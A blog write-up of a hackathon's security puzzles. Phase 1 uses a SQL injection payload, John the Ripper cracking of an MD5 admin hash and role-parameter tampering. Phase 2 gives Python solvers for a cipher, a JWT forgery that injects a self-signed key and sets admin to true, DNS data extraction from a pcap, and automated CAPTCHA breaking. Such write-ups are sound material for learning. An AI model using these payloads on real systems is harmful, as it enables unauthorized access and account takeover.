- Published on
Hacktrick 2023 security riddles solution
- Authors
- Name
- Amr Zaki
Hacktrick
Phase 1
Task
This was the first phase in the hackathon, and the security question was a very basic union based SQLi. It was required to extract the admin hash from the data base, decrypt it, log in as admin and modify the rule from user to super admin or root with URL parameter tampering.
Overview
We were presented with a basic login function and a basic account to log in as, let's call it user
after logging in as that user we get redirected to a search function that retrieves data from the database.
Exploitation
Knowing the vulnerability was a SQLi I instantly started testing and trying different union payloads to guess the number of columns the query returns.
The query returned 3 columns and the internal structure of the database tables was given in the question, there was a table called users which has username and hashed_password columns. So our final payload was something like this:
' union select username,password,null from users where username='admin'--+
Decrypting
We got the admin hash, now we try to get the hash type using hash-identifier
tool on Linux, it said that it was mostly an MD5 hash. We will use john
the ripper to crack that hash with the rockyou wordlist.
echo 'admin_hash' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
We got the admin password, and it had the format of adminXX where XX are two numbers.
Privilege Escalation
Now we log in as admin and notice a function which can raise a user privilege from normal user to admin or super admin, so we try to escalate our user to root, and we notice the GET parameter called role and we set it to root.
http://admin_panel.com/?user=user&role=super+admin
Now we completed the challenge, so we fill the task files with our payload, admin pass and the tampered URL.
Phase 2
Luckily my team and I progressed to the second phase amongst 30 teams from all over Egypt. The challenge in this phase was combined of machine learning, back-end and security. we should implement a model that solves a 10x10 model, upon receiving the position from the API and whether there is a security riddle that needs solving and submit the solution through the API. There were 4 types of riddles, and the categories were:
- Crypto
- JWT Hijacking
- Packet Sniffing
- CAPTCHA Solving So, let's dive into the details.
Crypto Riddle
From the riddle description, we get Tom's encrypted secret, and we need to write a python function to decrypt it and return the plaintext secret. So working on the example, it is a base64 text and decoding it gives us somtheing like this:
echo 'KDEwMTAwMDExMTAxMDEwMTAwMTEwMDExMTAxMDAxMDAwMDExMTEwMDAwMTEwM
TAwMTAxMTAxMTAwMTAxMDEwMCwxMDAxKQ==' | base64 -d
// Output
(101000111010101001100111010010000111100001101001011011001010100,1001)
dcode.fr
and I got the plaintext secret.Notice that the key is 9 which is 1001
in binary which the second part of the decoded base64 text. Now it's time to write some python code to mimic the process I went through!
def cipher_riddle(question):
# Getting the text and key form the provided base64 text
decoded_bytes = base64.b64decode(question + "====")
decoded_string = decoded_bytes.decode('utf-8')
stripped_string = decoded_string.strip('()')
cipher = stripped_string.split(',')[0]
key = stripped_string.split(',')[1]
key = int(key, 2)
ascii_cipher = ""
# Cutting the binary strings into 7 digit byte.
for i in range(0, len(cipher), 7):
char = cipher[i:i + 7]
char = int(char, 2)
ascii_cipher += chr(char)
solution = ""
# Shifting the character with the key with respect to the case.
for i in ascii_cipher:
if i.isupper():
solution += chr((ord(i) - key - 65) % 26 + 65)
elif i.islower():
solution += chr((ord(i) - key - 97) % 26 + 97)
else:
solution += i
return solution
Server Riddle (JWT Hijacking)
First, we need to create our own RSA private key, get the public key from it and I found a library to do just that as follows:
key = RSA.generate(2048)
public_key = key.publickey().export_key("PEM")
priv_key = key.export_key("PEM")
key = jwk.JWK.from_pem(priv_key) # Private key to sign the token with
public_key = key.export(private_key=False) # Our JWK
Now we get the headers and payload form the given token and altering the "admin" and "jwk" values:
# getting the token original headers
headers = question.split('.')[0]
headers = base64.b64decode(headers + "====")
headers = headers.decode('utf-8')
headers = json.loads(headers)
# getting the token original payload
payload = question.split('.')[1]
payload = base64.b64decode(payload + "====")
payload = payload.decode('utf-8')
payload = json.loads(payload)
# altering the token and adding our JWK
headers['kid'] = json.loads(public_key)['kid']
headers['jwk'] = json.loads(public_key)
payload['admin'] = 'true'
Token = jwt.JWT(header=headers, claims=payload)
# Signing the token
Token.make_signed_token(key)
So, putting it all together, our function will be something like this:
from jwcrypto import jwt, jwk
from Crypto.PublicKey import RSA
def server_riddle(question):
# getting the token original headers
headers = question.split('.')[0]
headers = base64.b64decode(headers + "===")
headers = headers.decode('utf-8')
headers = json.loads(headers)
# getting the token original payload
payload = question.split('.')[1]
payload = base64.b64decode(payload + "===")
payload = payload.decode('utf-8')
payload = json.loads(payload)
# creating our JWK
key = RSA.generate(2048)
public_key = key.publickey().export_key("PEM")
priv_key = key.export_key("PEM")
key = jwk.JWK.from_pem(priv_key)
public_key = key.export(private_key=False)
# altering the token and adding our JWK
headers['kid'] = json.loads(public_key)['kid']
headers['jwk'] = json.loads(public_key)
payload['admin'] = 'true'
Token = jwt.JWT(header=headers, claims=payload)
# signing the token
Token.make_signed_token(key)
return Token.serialize()
Pcap Riddle
We get an example of the pcap file, so I opened it in wireshark to analyze it and I noticed the following.
- The file included 100 packets.
- 3 protocols were present. DNS, TCP, and ICMP.
The first subdomain is a number representing the position of the word and second subdomain is the word. Now it's time to code.
from scapy.all import *
from scapy.layers.dns import DNS, DNSQR, IP
def pcap_riddle(question):
domains = []
secret = {}
solution = ""
# Parsing encoded content to a pcap file
encoded_pcap = question
decoded_pcap = base64.b64decode(encoded_pcap)
with open('pcap_file.pcap', 'wb') as pcap:
pcap.write(bytearray(decoded_pcap))
# Reading the dns packets
dns_packets = rdpcap('pcap_file.pcap')
for packet in dns_packets:
if packet.haslayer(DNS):
dst = packet[IP].dst
rec_type = packet[DNSQR].qtype
# Checking for A records and the unokown dns server
if rec_type == 1 and dst == '188.68.45.12':
record = packet[DNSQR].qname.decode('utf-8').strip('.')
# Getting the unique domains
if record not in domains:
# Getting the position of the word
pos = record.split('.')[0]
pos = base64.b64decode(pos + '====')
pos = pos.decode()
# Getting the encoded word
data = record.split('.')[1]
data = base64.b64decode(data + '====')
data = data.decode()
# inserting the position and data in a dictionary.
secret[int(pos)] = data
# printin the secret
for key in range(len(secret)):
solution += secret[key + 1]
return solution
Captcha Riddle
from amazoncaptcha import AmazonCaptcha
captcha = AmazonCaptcha('captcha.jpg')
solution = captcha.solve()
But wait, we get a NumPy array not a picture... so googling whether I can turn a NumPy array to an image and I found out it's possible. So, let's start coding our function.
from amazoncaptcha import AmazonCaptcha
from PIL import Image
def captcha_riddle(question):
# converting the supplied string to a numpy array.
np_array = np.array(question)
# Converting the array to an image to pass it to the function.
pil_img = Image.fromarray(np_array)
pil_img = pil_img.convert('RGB')
pil_img.save('image.png', bitmap_format='png')
captcha = AmazonCaptcha('image.png')
# letting the library do its magic :"D
return captcha.solve()
Phew, that concludes the security part of the hackathon, if you made till the end of this write-up I salute you. It was a great experience for me, and I enjoyed solving these riddles.